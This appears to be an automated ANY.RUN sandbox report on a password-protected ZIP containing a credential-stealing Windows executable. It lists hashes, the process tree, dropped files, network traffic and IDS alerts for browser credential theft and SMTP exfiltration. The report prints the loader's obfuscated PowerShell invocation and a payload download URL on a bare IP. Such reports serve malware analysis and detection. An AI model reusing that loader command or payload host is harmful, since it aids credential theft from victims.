File name:

Winmalware2.zip

Full analysis: https://app.any.run/tasks/6fb8dfe8-ace5-4fe4-a9ed-05450ff5ead6
Verdict: Malicious activity
Threats:

Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns.

Malware Trends Tracker     >>>
Analysis date: May 15, 2025, 20:20:31
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
arch-exec
evasion
stealer
ultravnc
rmm-tool
exfiltration
smtp
Indicators:
MIME: application/zip
File info: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted
MD5:

5FE7FB36BE8F6AEDC48A5703CEDAFDDC

SHA1:

6FCADEFD469964272A8E5DCA15BF91876728F95B

SHA256:

1F8A3D5F8C03BE105A824FFAA4D6D3C3E9518281DF0FDC599FCA0F9ED7E59BF3

SSDEEP:

24576:tBtRbsqfD3mAtsj/OXkgAvKqWIrb5pH8sAcr7F6//r3MnZ8CLC64Gt:tBtRbsqf6Atsj/OXkgAvKqWIr1pH8sAY

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Generic archive extractor

      • WinRAR.exe (PID: 7392)

    • Steals credentials from Web Browsers

      • msiexec.exe (PID: 6872)

    • Actions looks like stealing of personal data

      • msiexec.exe (PID: 6872)

  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 7392)

    • Starts POWERSHELL.EXE for commands execution

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 7988)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 8020)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 8020)

    • Converts a specified value to a byte (POWERSHELL)

      • powershell.exe (PID: 8020)

    • Connects to the server without a host name

      • msiexec.exe (PID: 6872)

    • Checks for external IP

      • svchost.exe (PID: 2196)
      • msiexec.exe (PID: 6872)

    • The process connected to a server suspected of theft

      • msiexec.exe (PID: 6872)

    • Connects to SMTP port

      • msiexec.exe (PID: 6872)

  • INFO

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 7392)

    • Create files in a temporary directory

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 7988)

    • The sample compiled with english language support

      • WinRAR.exe (PID: 7392)
      • powershell.exe (PID: 8020)

    • Reads the computer name

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 7988)

    • Checks supported languages

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 7988)

    • Creates files or folders in the user directory

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 7988)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 8020)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 8020)

    • Checks proxy server information

      • msiexec.exe (PID: 6872)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 8020)

    • Reads security settings of Internet Explorer

      • msiexec.exe (PID: 6872)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 8020)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 8020)

    • Disables trace logs

      • msiexec.exe (PID: 6872)

    • Reads the software policy settings

      • msiexec.exe (PID: 6872)
      • slui.exe (PID: 7556)

    • ULTRAVNC has been detected

      • msiexec.exe (PID: 6872)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 51
ZipBitFlag: 0x0003
ZipCompression: Unknown (99)
ZipModifyDate: 2025:05:15 18:08:44
ZipCRC: 0xe3196897
ZipCompressedSize: 507981
ZipUncompressedSize: 525931
ZipFileName: 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
142
Monitored processes
10
Malicious processes
3
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe sppextcomobj.exe no specs slui.exe 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe no specs powershell.exe conhost.exe no specs msiexec.exe rundll32.exe no specs svchost.exe slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
4164C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
6112C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -EmbeddingC:\Windows\System32\rundll32.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll
6872"C:\WINDOWS\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshtml.dll
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
7392"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\AppData\Local\Temp\Winmalware2.zipC:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
7524C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
7556"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7988"C:\Users\admin\AppData\Local\Temp\Rar$EXb7392.25317\00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe" C:\Users\admin\AppData\Local\Temp\Rar$EXb7392.25317\00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe—WinRAR.exe
User:
admin
Company:
skovgrnsernes
Integrity Level:
MEDIUM
Description:
tilsjofledes signy teknikumet
Exit code:
4294967295
Modules
Images
c:\users\admin\appdata\local\temp\rar$exb7392.25317\00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
8020"powershell.exe" -windowstyle minimized "$Limites=gc -Raw 'C:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Balija.Pen';$Pedometrically=$Limites.SubString(40041,3);.$Pedometrically($Limites)" "$Limites=gc -Raw 'C:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Balija.Pen';$Pedometrically=$Limites.SubString(40041,3);.$Pedometrically($Limites)" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
8032\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
11 460
Read events
11 435
Write events
25
Delete events
0

Modification events

(PID) Process:(7392) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(7392) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(7392) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(7392) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\Winmalware2.zip
(PID) Process:(7392) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(7392) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(7392) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(7392) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(7392) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface
Operation:writeName:ShowPassword
Value:
0
(PID) Process:(7988) 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeKey:HKEY_CURRENT_USER\Sheepdog\skotvingernes\sjoflest
Operation:writeName:pjankende
Value:
%felttegnet%\whenso\indpak.jpg
Executable files
2
Suspicious files
8
Text files
15
Unknown types
0

Dropped files

PID
Process
Filename
Type
798800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Eleventeenth.initext
MD5:AF3DD803B1558C99556EB3A508B683DF
SHA256:18E0DF5E7B55E4D24E5DFF154E3C0197A06EDBEEA0BEFB94B954328973F11F04
798800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\Netstatus.jpgimage
MD5:22F316F3F0218F9C3CC1F5C79DFB5752
SHA256:FF5CB1A7C5EF1F5CC6E44EB93ACB8C2802CE1C1F4CF9907E6ADB1B22E1F8E11D
798800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\Rotundify223.txttext
MD5:2A772047C6E682E6A14D8731154D9474
SHA256:B51A6405198B74AFBFF4876A3757290EA80EF65C74532675FDA0EED640B7041C
798800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\Heredes.initext
MD5:5B1E73C4F05F69D079AC262B0E46ED41
SHA256:22287491EFFA705126FC3268494EDEFF9474677DE1969322E9C23091AAAD0B5F
798800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\quartered.initext
MD5:E7F7E43C6AFB41C9CFFAD6C0316C1EF1
SHA256:ECCBD59A06D3AEA15989CB94A1351FF00C23005BFB22EECF7C44A80CD4E1EF51
798800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\ouverturen.inibinary
MD5:9525B25E33119C9FD95EAB4A79F9F244
SHA256:E711AEC1CD2BAE505CF1387BBFB6DEEA7C9DDF338948A2B44C22E86C9F151154
798800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\munkeordnerne.polbinary
MD5:C15F434E740C7A3BD904A8292A226F6F
SHA256:8D0D6DB5C400E0FE3241C749A6BA272A5F567F03D308BDDDFD679828243B82C3
798800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\remonce.initext
MD5:3BC991C4BC3E51A0B3F33250E2501C7B
SHA256:D5D9E22DAEF84835C1217B3E6F29BCD48F29936727419F72B6104643907E3D54
798800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\Markrpositions.initext
MD5:A2CCF5E023D7773E8C73DC7EB6F81F05
SHA256:FCD5AD634909535143BD0D8798625A377C8D217417BAB4B00768349A7CAA452A
8020powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_m3ypb1gm.24m.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
25
DNS requests
17
Threats
6

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
23.48.23.146:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
7012
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
6872
msiexec.exe
GET
200
208.95.112.1:80
http://ip-api.com/line/?fields=hosting
unknown
—
—
whitelisted
7012
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
6872
msiexec.exe
GET
200
185.29.9.64:80
http://185.29.9.64/gKihuwGhxt122.bin
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
5024
RUXIMICS.exe
51.124.78.146:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
51.124.78.146:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5496
MoUsoCoreWorker.exe
23.48.23.146:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
2104
svchost.exe
51.124.78.146:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5496
MoUsoCoreWorker.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2112
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3216
svchost.exe
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
20.190.159.0:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
crl.microsoft.com
  • 23.48.23.146
  • 23.48.23.143
  • 23.48.23.193
  • 23.48.23.145
  • 23.48.23.191
  • 23.48.23.180
  • 23.48.23.140
  • 23.48.23.181
  • 23.48.23.194
whitelisted
google.com
  • 142.250.185.110
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
settings-win.data.microsoft.com
  • 4.231.128.59
  • 40.127.240.158
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
login.live.com
  • 20.190.159.0
  • 20.190.159.73
  • 20.190.159.130
  • 20.190.159.23
  • 40.126.31.129
  • 40.126.31.130
  • 20.190.159.128
  • 20.190.159.2
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
slscr.update.microsoft.com
  • 4.245.163.56
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.3.187.198
whitelisted
ip-api.com
  • 208.95.112.1
whitelisted

Threats

PID
Process
Class
Message
6872
msiexec.exe
Potentially Bad Traffic
ET HUNTING Generic .bin download from Dotted Quad
2196
svchost.exe
Device Retrieving External IP Address Detected
INFO [ANY.RUN] External IP Check (ip-api .com)
2196
svchost.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com)
6872
msiexec.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup ip-api.com
6872
msiexec.exe
Device Retrieving External IP Address Detected
POLICY [ANY.RUN] External Hosting Lookup by ip-api
6872
msiexec.exe
Successful Credential Theft Detected
STEALER [ANY.RUN] Attempt to exfiltrate via SMTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Winmalware2.zip